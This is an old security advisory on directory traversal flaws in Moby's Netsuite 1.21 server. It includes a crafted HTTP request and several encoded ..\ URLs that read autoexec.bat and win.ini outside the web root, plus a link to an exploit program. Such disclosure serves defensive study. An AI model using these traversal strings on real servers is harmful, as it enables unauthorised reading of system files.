Netsuite121.txt

`  
Moby's Netsuite 1.21 Traversal Directory bugs  
  
  
Release Date:  
13 July, 2003  
  
  
Description:  
NetSuite is a freeware server suite that allows anyone with a static IP address the ability to run their own mail and web services. Note that you cannot reasonably run a web server from a normal dial-in account.   
Netsuite is designed for complete simplicity -- requiring only a few minutes to setup with no prior network skills or experience, and requires virtually no memory or processor time. General Windows file management and an understanding of the Internet is required. There are two sections: Moby Mail and Moby Web. Both are very direct to install and use, requiring only few minutes to begin using. Full source code for Microsoft Visual C++ 6.0 is available on the web.   
  
There exists some directory traversal vulnerabilities that allow someone to download or read  
files outside the web folder. In order for this attack to work we have to use some HTML characters instead of normal one.  
  
  
The attack:  
  
GET / HTTP/1.1  
Host: /error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cautoexec.bat  
  
In our example above we want to see the file autoexec.bat.  
***The folder /error/ doesn't exist in my Pc:P ehhe  
  
Other attack strings: http://127.0.0.1/%5c..%5c..%5c..%5cwindows%5cwin.ini  
http://127.0.0.1/%5c..%5c..%5c..%5cwindows%5cwin%2eini  
http://127.0.0.1/\..\..\..\windows\win.ini  
While i was searching i found about 25 attack string.This is only a small sample above.  
  
  
The Attack Program:  
I have created a sample attack program for Moby's Netsuite 1.21(possibly it for all versions of Moby's Netsuite ). You can get it from here:   
http://members.lycos.co.uk/r34ct/main/Netsuite_expl/  
  
  
Disclaimer  
The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.  
  
  
Feedback  
Please send suggestions, updates, and comments to:  
Dr_insane  
[email protected]  
http://members.lycos.co.uk/r34ct/  
`